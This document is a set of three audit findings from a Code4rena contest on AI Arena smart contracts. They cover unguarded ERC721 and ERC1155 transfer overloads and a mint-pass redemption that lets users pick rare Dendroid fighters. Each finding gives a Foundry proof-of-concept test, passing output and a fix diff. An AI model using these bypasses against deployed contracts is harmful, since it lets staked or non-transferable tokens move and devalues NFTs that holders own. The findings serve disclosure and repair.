AI Arena - stackachu's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L346 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L363

Vulnerability details

FighterFarm inherits from OpenZeppelin's ERC721 and overrides the transferFrom and safeTransferFrom functions to add transfer restrictions for the NFTs (NFTs cannot be transferred while staked and an address cannot hold more than MAX_FIGHTERS_ALLOWED NFTs).

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L333-L365

function transferFrom(
    address from,
    address to,
    uint256 tokenId
)
    public
    override(ERC721, IERC721) 
{
    require(_ableToTransfer(tokenId, to));
    _transfer(from, to, tokenId);
}

function safeTransferFrom(
    address from,
    address to,
    uint256 tokenId
)
    public
    override(ERC721, IERC721)
{
    require(_ableToTransfer(tokenId, to));
    _safeTransfer(from, to, tokenId, "");
}    

However, there are two different safeTransferFrom functions defined in OpenZeppelin's ERC721:

https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ecd2ca2cd7cac116f7a37d0e474bbb3d7d5e1c4d/contracts/token/ERC721/ERC721.sol#L161-L183

function safeTransferFrom(
    address from,
    address to,
    uint256 tokenId
) public virtual override {
    safeTransferFrom(from, to, tokenId, "");
}    

function safeTransferFrom( 
    address from,
    address to,
    uint256 tokenId,
    bytes memory data
) public virtual override {
    require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: caller is not token owner nor approved");
    _safeTransfer(from, to, tokenId, data);
}    

Only the first safeTransferFrom function is overridden in FighterFarm. When calling the second version (with the data parameter), a user can transfer their NFT without the transfer restrictions.

Impact

A user can transfer their NFT without the transfer restrictions (i.e. staked NFTs can be transferred and the receiver could have more than MAX_FIGHTERS_ALLOWED NFTs).

Proof of Concept

The issue can be demonstrated by adding the following test to test/FighterFarm.t.sol:

/// @notice Test transferring a fighter while staked.
function testTransferringFighterWhileStakedSecondSafeTransferFrom() public {
    _mintFromMergingPool(_ownerAddress);
    _fighterFarmContract.addStaker(_ownerAddress);
    _fighterFarmContract.updateFighterStaking(0, true);
    assertEq(_fighterFarmContract.fighterStaked(0), true);
    // Transferring the NFT is still possible using safeTransferFrom with a data parameter
    _fighterFarmContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0, "");
    assertEq(_fighterFarmContract.ownerOf(0) != _ownerAddress, true);
    assertEq(_fighterFarmContract.ownerOf(0), _DELEGATED_ADDRESS);
}

The test can be run as follows:

$ forge test --match-path test/FighterFarm.t.sol --match-test testTransferringFighterWhileStakedSecondSafeTransferFrom -vvv
[⠰] Compiling...
[⠢] Compiling 1 files with 0.8.13
[⠆] Solc 0.8.13 finished in 5.72s
Compiler run successful!

Running 1 test for test/FighterFarm.t.sol:FighterFarmTest
[PASS] testTransferringFighterWhileStakedSecondSafeTransferFrom() (gas: 495520)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.56ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Recommended Mitigation Steps

There are two possible mitigations:

1. Also override the second safeTransferFrom function.
2. Instead of overriding the transfer functions, put the check for _ableToTransfer in the _beforeTokenTransfer hook (docs).

Considering that overriding the transfer functions is error-prone (as demonstrated by this finding), the second solution seems preferable. However, care must be taken to not break minting and burning, as _beforeTokenTransfer is also called on mint and burn.

I would propose the following changes to src/FighterFarm.sol:

diff --git a/src/FighterFarm.sol b/src/FighterFarm.sol
index 06ee3e6..29742f0 100644
--- a/src/FighterFarm.sol
+++ b/src/FighterFarm.sol
@@ -330,40 +330,6 @@ contract FighterFarm is ERC721, ERC721Enumerable {
         );
     }

-    /// @notice Transfer NFT ownership from one address to another.
-    /// @dev Add a custom check for an ability to transfer the fighter.
-    /// @param from Address of the current owner.
-    /// @param to Address of the new owner.
-    /// @param tokenId ID of the fighter being transferred.
-    function transferFrom(
-        address from,
-        address to,
-        uint256 tokenId
-    )
-        public
-        override(ERC721, IERC721)
-    {
-        require(_ableToTransfer(tokenId, to));
-        _transfer(from, to, tokenId);
-    }
-
-    /// @notice Safely transfers an NFT from one address to another.
-    /// @dev Add a custom check for an ability to transfer the fighter.
-    /// @param from Address of the current owner.
-    /// @param to Address of the new owner.
-    /// @param tokenId ID of the fighter being transferred.
-    function safeTransferFrom(
-        address from,
-        address to,
-        uint256 tokenId
-    )
-        public
-        override(ERC721, IERC721)
-    {
-        require(_ableToTransfer(tokenId, to));
-        _safeTransfer(from, to, tokenId, "");
-    }
-
     /// @notice Rolls a new fighter with random traits.
     /// @param tokenId ID of the fighter being re-rolled.
     /// @param fighterType The fighter type.
@@ -448,6 +414,8 @@ contract FighterFarm is ERC721, ERC721Enumerable {
         internal
         override(ERC721, ERC721Enumerable)
     {
+        if (to != address(0))
+          require(_ableToTransfer(tokenId, to), "transfer not allowed");
         super._beforeTokenTransfer(from, to, tokenId);
     }

@@ -538,7 +506,6 @@ contract FighterFarm is ERC721, ERC721Enumerable {
     /// @return Bool whether the transfer is allowed or not.
     function _ableToTransfer(uint256 tokenId, address to) private view returns(bool) {
         return (
-          _isApprovedOrOwner(msg.sender, tokenId) &&
           balanceOf(to) < MAX_FIGHTERS_ALLOWED &&
           !fighterStaked[tokenId]
         );

Assessed type

Token-Transfer

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/GameItems.sol#L301

Vulnerability details

GameItems inherits from OpenZeppelin's ERC1155 and overrides the safeTransferFrom function to add transfer restrictions for the game items so that they can only be transferred if an admin enabled transferability for the item:

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/GameItems.sol#L289-L303

    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        uint256 amount,
        bytes memory data
    )
        public
        override(ERC1155)
    {
        require(allGameItemAttributes[tokenId].transferable);
        super.safeTransferFrom(from, to, tokenId, amount, data);
    }

However, OpenZeppelin's ERC1155 also has a safeBatchTransferFrom function that is not overridden and thus is not subject to the transfer restrictions:

https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ecd2ca2cd7cac116f7a37d0e474bbb3d7d5e1c4d/contracts/token/ERC1155/ERC1155.sol#L131-L146

Impact

A user can use safeBatchTransferFrom to transfer game items that should not be transferrable.

Proof of Concept

The issue can be demonstrated by adding the following test to test/GameItems.t.sol:

/// @notice Test transferring a non-transferable game item using safeBatchTransferFrom.
function testSafeBatchTransferFrom() public {
    // make the game item non-transferable
    _gameItemsContract.adjustTransferability(0, false);
    (,, bool transferable,,,) = _gameItemsContract.allGameItemAttributes(0);
    assertEq(transferable, false);
    // mint one game item token
    _fundUserWith4kNeuronByTreasury(_ownerAddress);
    _gameItemsContract.mint(0, 1);
    // transferring the non-transferable game item should revert
    vm.expectRevert();
    _gameItemsContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0, 1, "");
    // transferring the game item using safeBatchTransferFrom is still possible
    uint256[] memory ids = new uint256[](1);
    uint256[] memory amounts = new uint256[](1);
    ids[0] = 0;
    amounts[0] = 1;
    _gameItemsContract.safeBatchTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, ids, amounts, "");
    assertEq(_gameItemsContract.balanceOf(_DELEGATED_ADDRESS, 0), 1);
    assertEq(_gameItemsContract.balanceOf(_ownerAddress, 0), 0);
}

The test can be run as follows:

$ forge test --match-path test/GameItems.t.sol --match-test testSafeBatchTransferFrom -vvv
[⠰] Compiling...
[⠆] Compiling 1 files with 0.8.13
[⠰] Solc 0.8.13 finished in 2.83s
Compiler run successful!

Running 1 test for test/GameItems.t.sol:GameItemsTest
[PASS] testSafeBatchTransferFrom() (gas: 192219)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.09ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Recommended Mitigation Steps

There are two possible mitigations:

1. Also override the safeBatchTransferFrom function.
2. Instead of overriding the transfer functions, put the transferability check in the _beforeTokenTransfer hook (docs).

Considering that overriding the transfer functions is error-prone (as demonstrated by this finding), the second solution seems preferable. However, care must be taken to not break minting and burning, as _beforeTokenTransfer is also called on mint and burn.

I would propose the following changes to src/GameItems.sol:

diff --git a/src/GameItems.sol b/src/GameItems.sol
index 4c810a8..4f13f98 100644
--- a/src/GameItems.sol
+++ b/src/GameItems.sol
@@ -286,20 +286,28 @@ contract GameItems is ERC1155 {
         return allGameItemAttributes.length;
     }

-    /// @notice Safely transfers an NFT from one address to another.
-    /// @dev Added a check to see if the game item is transferable.
-    function safeTransferFrom(
-        address from,
-        address to,
-        uint256 tokenId,
-        uint256 amount,
+    /*//////////////////////////////////////////////////////////////
+                            INTERNAL FUNCTIONS
+    //////////////////////////////////////////////////////////////*/
+
+    /// @notice Hook that is called before any token transfer. This includes minting
+    /// and burning, as well as batched variants.
+    /// @dev Added a check to see if the game items are transferable.
+    function _beforeTokenTransfer(
+        address operator,
+        address from,
+        address to,
+        uint256[] memory ids,
+        uint256[] memory amounts,
         bytes memory data
-    )
-        public
-        override(ERC1155)
-    {
-        require(allGameItemAttributes[tokenId].transferable);
-        super.safeTransferFrom(from, to, tokenId, amount, data);
+    ) internal virtual override(ERC1155) {
+        // Only enforce the transferability check on transfers, not on minting or burning.
+        if (from != address(0) && to != address(0)) {
+            for (uint256 i; i < ids.length; i++) {
+                require(allGameItemAttributes[ids[i]].transferable);
+            }
+        }
+        super._beforeTokenTransfer(operator, from, to, ids, amounts, data);
     }

     /*//////////////////////////////////////////////////////////////

Assessed type

Token-Transfer

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L224-L262

Vulnerability details

According to https://docs.aiarena.io/gaming-competition/nft-makeup, Dendroids "are very rare and more difficult to obtain". However, when using the FighterFarm.redeemMintPass function, users can just pass a 1 in the fighterTypes array to mint a Dendroid with every mint pass they redeem.

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L224-L262

function redeemMintPass(
    uint256[] calldata mintpassIdsToBurn,
    uint8[] calldata fighterTypes,          // 0 in array: Champion, 1 in array: Dendroid
    uint8[] calldata iconsTypes,
    string[] calldata mintPassDnas,
    string[] calldata modelHashes,
    string[] calldata modelTypes
)
    external
{
    require(
        mintpassIdsToBurn.length == mintPassDnas.length &&
        mintPassDnas.length == fighterTypes.length &&
        fighterTypes.length == modelHashes.length &&
        modelHashes.length == modelTypes.length
    );
    for (uint16 i = 0; i < mintpassIdsToBurn.length; i++) {
        require(msg.sender == _mintpassInstance.ownerOf(mintpassIdsToBurn[i]));
        _mintpassInstance.burn(mintpassIdsToBurn[i]);
        _createNewFighter(
            msg.sender,
            uint256(keccak256(abi.encode(mintPassDnas[i]))),
            modelHashes[i],
            modelTypes[i],
            fighterTypes[i],                // user-specified fighter type
            iconsTypes[i],
            [uint256(100), uint256(100)]
        );
    }
}

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L476-L531:

function _createNewFighter(
    address to,
    uint256 dna,
    string memory modelHash,
    string memory modelType,
    uint8 fighterType,                      // fighter type passed from redeemMintPass
    uint8 iconsType,
    uint256[2] memory customAttributes
)
    private
{
    [...]

    bool dendroidBool = fighterType == 1;   // if fighterType is 1, it's a Dendroid

    [...]

    fighters.push(
        FighterOps.Fighter(
            weight,
            element,
            attrs,
            newId,
            modelHash,
            modelType,
            generation[fighterType],
            iconsType,
            dendroidBool                    // Dendroid fighter is stored in fighters array
        )
    );
    _safeMint(to, newId);
    FighterOps.fighterCreatedEmitter(newId, weight, element, generation[fighterType]);
}

If we look at AAMintPass.claimMintPass, we can see that the number of fighters to mint per fighter type is part of the signed data, so allowing users to specify what type of fighter they want to mint without verification seems unintentional:

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/AAMintPass.sol#L98-L133

/// @param numToMint The number of mintpasses to claim. The first element in the array is the
/// number of AI Champion mintpasses and the second element is the number of Dendroid
/// mintpasses.
function claimMintPass(
    uint8[2] calldata numToMint,
    bytes calldata signature,
    string[] calldata _tokenURIs
)
    external
{
    require(!mintingPaused);
    bytes32 msgHash = bytes32(keccak256(abi.encode(
        msg.sender,
        numToMint[0],
        numToMint[1],
        passesClaimed[msg.sender][0],
        passesClaimed[msg.sender][1],
        _tokenURIs
    )));
    require(Verification.verify(msgHash, signature, delegatedAddress));
    [...]
}

Impact

Users can easily mint Dendroids which should be "very rare and more difficult to obtain" by redeeming a mint pass. This could significantly reduce the value of Dendroids by making them less rare.

Proof of Concept

The issue can be demonstrated by adding the following test to test/FighterFarm.t.sol:

/// @notice Test redeeming a mintpass for a fighter of the wrong type
function testRedeemMintPassWrongFighterType() public {
    // mint pass specifies 1 Champion and 0 Dendroids
    uint8[2] memory numToMint = [1, 0];
    bytes memory signature = abi.encodePacked(
        hex"20d5c3e5c6b1457ee95bb5ba0cbf35d70789bad27d94902c67ec738d18f665d84e316edf9b23c154054c7824bba508230449ee98970d7c8b25cc07f3918369481c"
    );
    string[] memory _tokenURIs = new string[](1);
    _tokenURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";

    // first i have to mint an nft from the mintpass contract
    assertEq(_mintPassContract.mintingPaused(), false);
    _mintPassContract.claimMintPass(numToMint, signature, _tokenURIs);
    assertEq(_mintPassContract.balanceOf(_ownerAddress), 1);
    assertEq(_mintPassContract.ownerOf(1), _ownerAddress);

    // once owning one i can then redeem it for a fighter
    uint256[] memory _mintpassIdsToBurn = new uint256[](1);
    string[] memory _mintPassDNAs = new string[](1);
    uint8[] memory _fighterTypes = new uint8[](1);
    uint8[] memory _iconsTypes = new uint8[](1);
    string[] memory _neuralNetHashes = new string[](1);
    string[] memory _modelTypes = new string[](1);

    _mintpassIdsToBurn[0] = 1;
    _mintPassDNAs[0] = "dna";
    // Specify that the mint pass should be redeemed for a Dendroid
    _fighterTypes[0] = 1;
    _neuralNetHashes[0] = "neuralnethash";
    _modelTypes[0] = "original";
    _iconsTypes[0] = 1;

    // approve the fighterfarm contract to burn the mintpass
    _mintPassContract.approve(address(_fighterFarmContract), 1);

    // Redeem the mint pass
    _fighterFarmContract.redeemMintPass(
        _mintpassIdsToBurn, _fighterTypes, _iconsTypes, _mintPassDNAs, _neuralNetHashes, _modelTypes
    );

    // check balance to see if we successfully redeemed the mintpass for a fighter
    assertEq(_fighterFarmContract.balanceOf(_ownerAddress), 1);
    // check balance to see if the mintpass was burned
    assertEq(_mintPassContract.balanceOf(_ownerAddress), 0);
    // verify that the newly minted fighter is a Dendroid
    (,,,,,,,, bool dendroidBool) = _fighterFarmContract.fighters(0);
    assertEq(dendroidBool, true);
}

The test can be run as follows:

$ forge test --match-path test/FighterFarm.t.sol --match-test testRedeemMintPassWrongFighterType -vvv
[⠆] Compiling...
No files changed, compilation skipped

Running 1 test for test/FighterFarm.t.sol:FighterFarmTest
[PASS] testRedeemMintPassWrongFighterType() (gas: 586828)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.04ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Recommended Mitigation Steps

When claiming a mint pass via AAMintPass.claimMintPass, the number of fighters for each fighter type is part of the signed data (numToMint[0] and numToMint[1]) and added to the public passesClaimed mapping in AAMintPass's storage.

The FighterFarm.redeemMintPass function could also keep track of the fighter types minted by redeeming mint passes and ensure that the number of fighters minted by a user per fighter type is not greater than the number of passesClaimed for this user and fighter type:

diff --git a/src/FighterFarm.sol b/src/FighterFarm.sol
index 06ee3e6..17ef2a7 100644
--- a/src/FighterFarm.sol
+++ b/src/FighterFarm.sol
@@ -87,6 +87,9 @@ contract FighterFarm is ERC721, ERC721Enumerable {
     /// @notice Maps address to fighter type to return the number of NFTs claimed.
     mapping(address => mapping(uint8 => uint8)) public nftsClaimed;

+    /// @notice Maps address to fighter type to return the number of NFTs minted via mint pass.
+    mapping(address => mapping(uint8 => uint8)) public nftsMintedMintPass;
+
     /// @notice Mapping of tokenId to number of times trained.
     mapping(uint256 => uint32) public numTrained;

@@ -248,6 +251,8 @@ contract FighterFarm is ERC721, ERC721Enumerable {
         );
         for (uint16 i = 0; i < mintpassIdsToBurn.length; i++) {
             require(msg.sender == _mintpassInstance.ownerOf(mintpassIdsToBurn[i]));
+            require(nftsMintedMintPass[msg.sender][fighterTypes[i]] < _mintpassInstance.passesClaimed(msg.sender, fighterTypes[i]));
+            nftsMintedMintPass[msg.sender][fighterTypes[i]]++;
             _mintpassInstance.burn(mintpassIdsToBurn[i]);
             _createNewFighter(
                 msg.sender,

However, this mitigation has an important caveat: If it is implemented, a mint pass will only be redeemable by the address that claimed it initially, i.e. mint passes become useless when transferred to another address. Also it doesn't enforce a strict mapping between mint pass fighter types and minted fighter types, i.e. if a user has multiple mint passes for both fighter types they could redeem any mint pass for any fighter type as long as the total number of fighters for each fighter type is not greater than the number of fighters of that type that they are entitled to.

Assessed type

Invalid Validation